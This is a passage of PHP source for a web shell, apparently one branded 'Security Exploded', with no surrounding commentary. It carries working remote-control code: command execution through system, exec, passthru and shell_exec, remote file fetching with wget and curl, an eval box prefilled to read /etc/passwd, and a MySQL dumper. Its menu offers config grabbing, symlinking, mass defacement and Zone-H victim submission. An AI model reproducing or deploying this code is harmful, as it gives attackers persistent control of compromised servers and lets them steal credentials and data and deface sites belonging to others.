            $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y={$pwd}&amp;view={$full}\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   {$file}</b></a>\n        <form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n        <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />\n        <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" />\n        <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />\n        <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />\n        </form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>\n        <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>\n        <form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> \n<input class=\"inputz\" style=\"width:150px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"Chmod\" value=\"Chmod\" /> \n<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>\n        <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td>\n        <td><a href=\"?y={$pwd}&amp;edit={$full}\">Edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">Rename</a> | <a href=\"?y={$pwd}&amp;delete={$full}\">Delete</a> | <a href=\"?y={$pwd}&amp;dl={$full}\">Download</a>&nbsp;(<a href=\"?y={$pwd}&amp;dlgzip={$full}\">Gz</a>)</td></tr>";
        }
        $buff .= "</table>";
        return $buff;
    }
    function ukuran($file)
    {
        if ($size = @filesize($file)) {
            if ($size <= 1024) {
                return $size;
            } else {
                if ($size <= 1048576) {
                    $size = @round($size / 1024, 2);
                    return "{$size} kb";
                } else {
                    $size = @round($size / 1024 / 1024, 2);
                    return "{$size} mb";
                }
            }
        } else {
            return "???";
        }
    }
    function exe($cmd)
    {
        if (function_exists('system')) {
            @ob_start();
            @system($cmd);
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        } elseif (function_exists('exec')) {
            @exec($cmd, $results);
            $buff = "";
            foreach ($results as $result) {
                $buff .= $result;
            }
            return $buff;
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cmd);
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        } elseif (function_exists('shell_exec')) {
            $buff = @shell_exec($cmd);
            return $buff;
        }
    }
    function tulis($file, $text)
    {
        $textz = gzinflate(base64_decode($text));
        if ($filez = @fopen($file, "w")) {
            @fputs($filez, $textz);
            @fclose($file);
        }
    }
    function ambil($link, $file)
    {
        if ($fp = @fopen($link, "r")) {
            while (!feof($fp)) {
                $cont .= @fread($fp, 1024);
            }
            @fclose($fp);
            $fp2 = @fopen($file, "w");
            @fwrite($fp2, $cont);
            @fclose($fp2);
        }
    }
    function which($pr)
    {
        $path = exe("which {$pr}");
        if (!empty($path)) {
            return trim($path);
        } else {
            return trim($pr);
        }
    }
    function download($cmd, $url)
    {
        $namafile = basename($url);
        switch ($cmd) {
            case 'wwget':
                exe(which('wget') . " " . $url . " -O " . $namafile);
                break;
            case 'wlynx':
                exe(which('lynx') . " -source " . $url . " > " . $namafile);
                break;
            case 'wfread':
                ambil($wurl, $namafile);
                break;
            case 'wfetch':
                exe(which('fetch') . " -o " . $namafile . " -p " . $url);
                break;
            case 'wlinks':
                exe(which('links') . " -source " . $url . " > " . $namafile);
                break;
            case 'wget':
                exe(which('GET') . " " . $url . " > " . $namafile);
                break;
            case 'wcurl':
                exe(which('curl') . " " . $url . " -o " . $namafile);
                break;
            default:
                break;
        }
        return $namafile;
    }
    function get_perms($file)
    {
        if ($mode = @fileperms($file)) {
            $perms = '';
            $perms .= $mode & 0400 ? 'r' : '-';
            $perms .= $mode & 0200 ? 'w' : '-';
            $perms .= $mode & 0100 ? 'x' : '-';
            $perms .= $mode & 040 ? 'r' : '-';
            $perms .= $mode & 020 ? 'w' : '-';
            $perms .= $mode & 010 ? 'x' : '-';
            $perms .= $mode & 04 ? 'r' : '-';
            $perms .= $mode & 02 ? 'w' : '-';
            $perms .= $mode & 01 ? 'x' : '-';
            return $perms;
        } else {
            return "??????????";
        }
    }
    function clearspace($text)
    {
        return str_replace(" ", "_", $text);
    }
    ?>
<html><head><link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg"><title><?php 
    echo $title;
    ?> <?php 
    echo $versi;
    ?></title>
<script type="text/javascript">
function tukar(lama,baru){
    document.getElementById(lama).style.display = 'none';
    document.getElementById(baru).style.display = 'block';
}
</script><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
<style type="text/css">
body { background-color:transparan;background:#000;background-image: url("<?php 
    echo $background;
    ?>");background-position: center;    background-attachment: fixed;background-repeat: no-repeat; } 
a {text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00; 
}
*{
    font-size:11px;
    font-family:Tahoma,Verdana,Arial;
    color:<?php 
    echo $color;
    ?>;
}
#menu{
    background-color:transparan;
    margin:8px 2px 4px 2px;
}

#menu a{
    padding:4px 18px;
    margin:0;
    background:#222222;
    text-decoration:none;
    letter-spacing:2px;
    -moz-border-radius: 5px; -moz-box-shadow-webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
    background:#191919;
    border-bottom:1px solid #333333;
    border-top:1px solid #333333;
}

.tabnet{
    margin:15px auto 0 auto;
    border: 1px solid #333333;
    color: #FFCC00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;} 
.msupiani{ font-family:Vivaldi;font-size:50px;color: #00FF00;}
.tabnet{
    margin:15px auto 0 auto;
    border: 1px solid #333333; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.main {
    width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.gaya {
    color: $color;
}
.inputz{
    background:#111111;
    border:0;
    padding:2px;
    border-bottom:1px solid #222222;
    border-top:1px solid #222222; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
} 
.inputzbut{
    background:#111111;
    color:<?php 
    echo $color;
    ?>;
    margin:0 4px;
    border:1px solid #444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;

}
.inputz:hover, .inputzbut:hover{
    border-bottom:1px solid #00ff00;
    border-top:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.output {
    margin:auto;
    border:1px solid <?php 
    echo $color;
    ?>;
    width:100%;
    height:400px;
    background:#000000;
    padding:0 2px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.cmdbox{
    width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.head_info{ 
    padding: 0 4px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
} 
.exploded{
    font-size:30px;
    padding:0;
    color:#444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.exploded_tbl{
    text-align:center;
    margin:0 4px 0 0;
    padding:0 4px 0 0;
    border-right:1px solid #333333;
}
.phpinfo table{
    width:100%;
    padding:0 0 0 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.phpinfo td{
    background:#111111;
    color:#cccccc;
padding:6px 8px;; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.phpinfo th, th{
    background:#191919;
    border-bottom:1px solid #333333;
font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.phpinfo h2, .phpinfo h2 a{
    text-align:center;
    font-size:16px;
    padding:0;
    margin:30px 0 0 0;
    background:#222222;
    padding:4px 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore{
width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore th{
padding:3px 8px;
font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore tr:hover{
background:#111111; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.sembunyi{
display:none;
padding:0;margin:0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ;
}
.jaya{ margin:5px; text-align:right; <?php 
    echo $color;
    ?>;}
.footer{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?php 
    echo $color;
    ?>; -webkit-box-shadow:0px 0px 5px ; } 
.footer a{ font-size:14px; }
.footer span{ font-size:14px;}
</style></head>

<body onLoad="document.getElementById('cmd').focus();">
<!-- logout start here -->
<div id="menu"><span style='float:right;'><br>
<?php 
    echo "Time On Server : <b> " . date("d M Y H:i:s", time()) . "</b>";
    ?> <br><br> &nbsp &nbsp  &nbsp &nbsp 
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=kill" title='Remove Shell'>Remove</a>
 | 
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=logout" title='Logout'>Logout</a> &nbsp &nbsp &nbsp <br><br>
&nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp <a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=about"  title='About Author'>About</a>
</span></div>
<!-- logout end here -->
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table><tr>
<td><table class="inputz"><tr><td><a href="" target="blank" onClick="location.reload();"><span class="F0ku5"><img src='<?php 
    echo $logo;
    ?>' title="Security Exploded" width="150" height="150"></span></span></a></td></tr><tr><td>
<a href="http://twitter.com/Port22_Exploded" class="twitter-follow-button" data-show-count="false">    Follow @Port22_Exploded</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'http';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></td></tr></table></td>
<td><?php 
    echo $buff;
    ?></td>
</tr></table></div>
<!-- head info end here -->
<!-- menu start --><br>
<center><div id="menu">
<a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34" title='Home '></a>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>" title='File Explorer'>Files</a>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=upload" title='Upload File'>Uploader</a>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=sql" title='Connect To Database'>MySQL Manager</a><br><br>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=jumping" title='Jumping'>Jumper</a>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=symlink" title='Symlink'>Multi Symlinker</a>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=grabc" title='Config Grabber'>Config Grabber</a><br><br>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=mass" title='Deface To All Folder'>Mass Directory Defacer</a>
<a href="?<?php 
    echo "y=" . $pwd;
    ?>&amp;x=zone" title='Submit Victim To Zone-H'>Zone-H Submiter</a>
</div></center><br>
<!-- menu end -->
<?php 
    @ini_set('display_errors', 0);
    @ini_set('output_buffering', 0);
    if (isset($_GET['x']) && $_GET['x'] == 'kill') {
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Shell Killer</font></b></center></td></tr></table>\n";
        echo "<center><br><font style=\"color:<?php echo \$color; ?>\">Do You Really Want To Delete This Shell ?</b></center><br>";
        ?>
<center>
<div id="menu">
<a  href="?<?php 
        echo "y=" . $pwd;
        ?>&amp;x=killit" title='Remove Shell' >Yes, I Want</font></a> &nbsp;&nbsp;&nbsp;&nbsp; 
<a  href="<?php 
        echo $_SERVER['PHP_SELF'];
        ?>">Cancel</a></b></center><br><br>
</div>
<?php 
    }
    if (isset($_GET['x']) && $_GET['x'] == 'killit') {
        $file = $_SERVER['PHP_SELF'];
        if (@unlink("/var/www/html/input.php")) {
            die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell Has Been Killed... Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
        } else {
            echo "<font color=\"#fff600\" size=\"2pt\">Unlink Error !</font>";
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'php') {
        @ini_set('output_buffering', 0);
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Eval</font></b></center></td></tr></table>\n";
        ?>

<form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=php" method="post">
<table class="tabnet" style="width:800px;height:300px">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php 
        if (isset($_POST['submitcmd'])) {
            echo eval(magicboom($_POST['cmd']));
        } else {
            echo "echo file_get_contents('/etc/passwd');";
        }
        ?>
</textarea>
<tr><td><input style="width:800px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'sql') {
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>\n";
        function view_size($size)
        {
            if (!is_numeric($size)) {
                return FALSE;
            } else {
                if ($size >= 1073741824) {
                    $size = round($size / 1073741824 * 100) / 100 . " GB";
                } elseif ($size >= 1048576) {
                    $size = round($size / 1048576 * 100) / 100 . " MB";
                } elseif ($size >= 1024) {
                    $size = round($size / 1024 * 100) / 100 . " KB";
                } else {
                    $size .= " B";
                }
                return $size;
            }
        }
        function mysql_dump($set)
        {
            $sock = $set["sock"];
            $db = $set["db"];
            $print = $set["print"];
            $nl2br = $set["nl2br"];
            $file = $set["file"];
            $add_drop = $set["add_drop"];
            $tabs = $set["tabs"];
            $onlytabs = $set["onlytabs"];
            $ret = array();
            $ret["err"] = array();
            if (!is_resource($sock)) {
                echo "Error: \$sock is not valid resource.";
            }
            if (empty($db)) {
                $db = "db";
            }
            if (empty($print)) {
                $print = 0;
            }
            if (empty($nl2br)) {
                $nl2br = 0;
            }
            if (empty($add_drop)) {
                $add_drop = TRUE;
            }
            if (empty($file)) {
                $file = $tmp_dir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
            }
            if (!is_array($tabs)) {
                $tabs = array();
            }
            if (empty($add_drop)) {
                $add_drop = TRUE;
            }
            if (sizeof($tabs) == 0) {
                $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
                if (mysql_num_rows($res) > 0) {
                    while ($row = mysql_fetch_row($res)) {
                        $tabs[] = $row[0];
                    }
                }
            }
            $out = "\n  # Dumped By " . $xName . "\n  # MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "\n  # Date: " . date("d.m.Y H:i:s") . "\n  # DB: \"" . $db . "\"\n  #---------------------------------------------------------";
            $c = count($onlytabs);
            foreach ($tabs as $tab) {
                if (in_array($tab, $onlytabs) or !$c) {
                    if ($add_drop) {
                        $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
                    }
                    $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
                    if (!$res) {
                        $ret["err"][] = mysql_smarterror();
                    } else {
                        $row = mysql_fetch_row($res);
                        $out .= $row["1"] . ";\n\n";
                        $res = mysql_query("SELECT * FROM `{$tab}`", $sock);
                        if (mysql_num_rows($res) > 0) {
                            while ($row = mysql_fetch_assoc($res)) {
                                $keys = implode("`, `", array_keys($row));
                                $values = array_values($row);
                                foreach ($values as $k => $v) {
                                    $values[$k] = addslashes($v);
                                }
                                $values = implode("', '", $values);
                                $sql = "INSERT INTO `{$tab}`(`" . $keys . "`) VALUES ('" . $values . "');\n";
                                $out .= $sql;
                            }
                        }
                    }
                }
            }
            $out .= "#---------------------------------------------------------------------------------\n\n";
            if ($file) {
                $fp = fopen($file, "w");
                if (!$fp) {
                    $ret["err"][] = 2;
                } else {
                    fwrite($fp, $out);
                    fclose($fp);
                }
            }
            if ($print) {
                if ($nl2br) {
                    echo nl2br($out);
                } else {
                    echo $out;
                }
            }
            return $out;
        }
        function mysql_buildwhere($array, $sep = " and", $functs = array())
        {
            if (!is_array($array)) {
                $array = array();
            }
            $result = "";
            foreach ($array as $k => $v) {
                $value = "";
                if (!empty($functs[$k])) {
                    $value .= $functs[$k] . "(";
                }
                $value .= "'" . addslashes($v) . "'";
                if (!empty($functs[$k])) {
                    $value .= ")";
                }
                $result .= "`" . $k . "` = " . $value . $sep;
            }
            $result = substr($result, 0, strlen($result) - strlen($sep));
            return $result;
        }
        function mysql_fetch_all($query, $sock)
        {
            if ($sock) {
                $result = mysql_query($query, $sock);
            } else {
                $result = mysql_query($query);
            }
            $array = array();
            while ($row = mysql_fetch_array($result)) {
                $array[] = $row;
            }
            mysql_free_result($result);
            return $array;
        }
        function mysql_smarterror($sock)
        {
            if ($sock) {
                $error = mysql_error($sock);
            } else {
                $error = mysql_error();
            }
            $error = htmlspecialchars($error);
            return $error;
        }
        function mysql_query_form()
        {
            global $submit, $sql_x, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
            if ($submit and !$sql_query_result and $sql_confirm) {
                if (!$sql_query_error) {
                    $sql_query_error = "Query was empty";
                }
                echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
            }
            if ($sql_query_result or !$sql_confirm) {
                $sql_x = $sql_goto;
            }
            if (!$submit or $sql_x) {
                echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>";
                if ($sql_query and !$submit) {
                    echo "Do you really want to";
                } else {
                    echo "SQL-Query";
                }
                echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
                if ($tbl_struct) {
                    echo "<td valign=\"top\"><b>Fields:</b><br>";
                    foreach ($tbl_struct as $field) {
                        $name = $field["Field"];
                        echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`" . $name . "`';\"><b>" . $name . "</b></a><br>";
                    }
                    echo "</td></tr></table>";
                }
            }
            if ($sql_query_result or !$sql_confirm) {
                $sql_query = $sql_last_query;
            }
        }
        function mysql_create_db($db, $sock = "")
        {
            $sql = "CREATE DATABASE `" . addslashes($db) . "`;";
            if ($sock) {
                return mysql_query($sql, $sock);
            } else {
                return mysql_query($sql);
            }
        }
        function mysql_query_parse($query)
        {
            $query = trim($query);
            $arr = explode(" ", $query);
            $types = array("SELECT" => array(3, 1), "SHOW" => array(2, 1), "DELETE" => array(1), "DROP" => array(1));
            $result = array();
            $op = strtoupper($arr[0]);
            if (is_array($types[$op])) {
                $result["propertions"] = $types[$op];
                $result["query"] = $query;
                if ($types[$op] == 2) {
                    foreach ($arr as $k => $v) {
                        if (strtoupper($v) == "LIMIT") {
                            $result["limit"] = $arr[$k + 1];
                            $result["limit"] = explode(",", $result["limit"]);
                            if (count($result["limit"]) == 1) {
                                $result["limit"] = array(0, $result["limit"][0]);
                            }
                            unset($arr[$k], $arr[$k + 1]);
                        }
                    }
                }
            } else {
                return FALSE;
            }
        }
        function disp_error($msg)
        {
            echo "<div class=errmsg>{$msg}</div>\n";
        }
        function html_style()
        {
            $style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; }  .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
            return $style;
        }
        $auto_surl = TRUE;
        foreach ($_REQUEST as $k => $v) {
            if (!isset(${$k})) {
                ${$k} = $v;
            }
        }
        if ($auto_surl) {
            $include = "&";
            foreach (explode("&", getenv("QUERY_STRING")) as $v) {
                $v = explode("=", $v);
                $name = urldecode($v[0]);
                $value = @urldecode($v[1]);
                $needles = array("http://", "https://", "ssl://", "ftp://", "\\\\");
                foreach ($needles as $needle) {
                    if (strpos($value, $needle) === 0) {
                        $includestr .= urlencode($name) . "=" . urlencode($value) . "&";
                    }
                }
            }
        }
        if (empty($surl)) {
            $surl = htmlspecialchars("?" . @$includestr);
        }
        if (!isset($x)) {
            $x = "sql";
        }
        if ($x == "sql") {
            foreach (array("sort", "sql_sort") as $v) {
                if (!empty($_GET[$v])) {
                    ${$v} = $_GET[$v];
                }
                if (!empty($_POST[$v])) {
                    ${$v} = $_POST[$v];
                }
            }
            if ($sort_save) {
                if (!empty($sort)) {
                    setcookie("sort", $sort);
                }
                if (!empty($sql_sort)) {
                    setcookie("sql_sort", $sql_sort);
                }
            }
            if (!isset($sort)) {
                $sort = $sort_default;
            }
            $sort = htmlspecialchars($sort);
            $sort[1] = strtolower($sort[1]);
            echo html_style();
            echo "<div id='maininfo'>";
            if ($x == "sql") {
                $sql_surl = $surl . "x=sql";
                if (!isset($sql_login)) {
                    $sql_login = "";
                }
                if (!isset($sql_passwd)) {
                    $sql_passwd = "";
                }
                if (!isset($sql_server)) {
                    $sql_server = "";
                }
                if (!isset($sql_port)) {
                    $sql_port = "";
                }
                if (!isset($sql_tbl)) {
                    $sql_tbl = "";
                }
                if (!isset($sql_x)) {
                    $sql_x = "";
                }
                if (!isset($sql_tbl_x)) {
                    $sql_tbl_x = "";
                }
                if (!isset($sql_order)) {
                    $sql_order = "";
                }
                if (!isset($sql_x)) {
                    $sql_x = "";
                }
                if (!isset($sql_getfile)) {
                    $sql_getfile = "";
                }
                if (@$sql_login) {
                    $sql_surl .= "&sql_login=" . htmlspecialchars($sql_login);
                }
                if (@$sql_passwd) {
                    $sql_surl .= "&sql_passwd=" . htmlspecialchars($sql_passwd);
                }
                if (@$sql_server) {
                    $sql_surl .= "&sql_server=" . htmlspecialchars($sql_server);
                }
                if (@$sql_port) {
                    $sql_surl .= "&sql_port=" . htmlspecialchars($sql_port);
                }
                if (@$sql_db) {
                    $sql_surl .= "&sql_db=" . htmlspecialchars($sql_db);
                }
                $sql_surl .= "&";
                echo "";
